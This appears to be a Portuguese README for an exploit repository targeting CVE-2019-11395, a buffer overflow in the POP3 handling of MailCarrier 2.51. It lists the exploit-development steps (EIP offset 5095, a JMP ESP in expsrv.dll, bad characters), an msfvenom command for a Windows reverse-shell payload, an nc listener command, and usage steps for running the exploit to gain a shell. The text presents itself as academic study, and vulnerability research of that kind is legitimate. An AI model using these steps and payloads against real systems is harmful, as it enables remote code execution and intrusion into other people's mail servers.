Exploit CVE-2019-11395 🛡️

Sobre a CVE-2019-11395 🕵️

A CVE-2019-11395 descreve uma vulnerabilidade de estouro de buffer no aplicativo de e-mail MailCarrier 2.51, permitindo execução remota de código. A vulnerabilidade ocorre nos processos SMTP RCPT TO, POP3 USER, POP3 LIST, POP3 TOP ou POP3 RETR.

Durante o estudo acadêmico, o foco foi direcionado aos processos POP3 para criar uma Prova de Conceito (PoC). Foi identificado que o envio de 6000 bytes ao aplicativo faz com que ele pare de funcionar, revelando assim a vulnerabilidade de estouro de buffer.

Etapas de Exploração 🔍

1. Foi utilizado msf-pattern_create -l 6000 para identificar com precisão o EIP.
2. Foi identificado o offset do EIP com msf-pattern_offset -q 6E47386E -l 6000, resultando em um offset de EIP de 5095.
3. Foi identificada a expsrv.dll com ASLR desabilitado, adequada para um JMP ESP.
4. Foram identificados os bad characters \x00\x0a\x0d durante os testes de caracteres inválidos.
5. Foi gerado o payload com msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode.
6. Foi ajustado o código CVE-2019-11395.py para acomodar o payload.
7. Foi aberta a conexão com nc -lnvp 4444 e executado o exploit (CVE-2019-11395.py) para obter acesso ao ambiente e validar a CVE descrita.

Uso 🚀

Siga estes passos para utilizar o exploit:

1. Gere o payload usando msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode.
2. Copie a saída do comando msfvenom.
3. Ajuste o código CVE-2019-11395.py para substituir a variável shellcode pela saída obtida do comando msfvenom.
4. Execute o exploit (CVE-2019-11395.py) para obter acesso ao ambiente e validar a CVE descrita.

Ambiente Comprometido 📸

🔗 Conecte-se comigo

Visite meu perfil no LinkedIn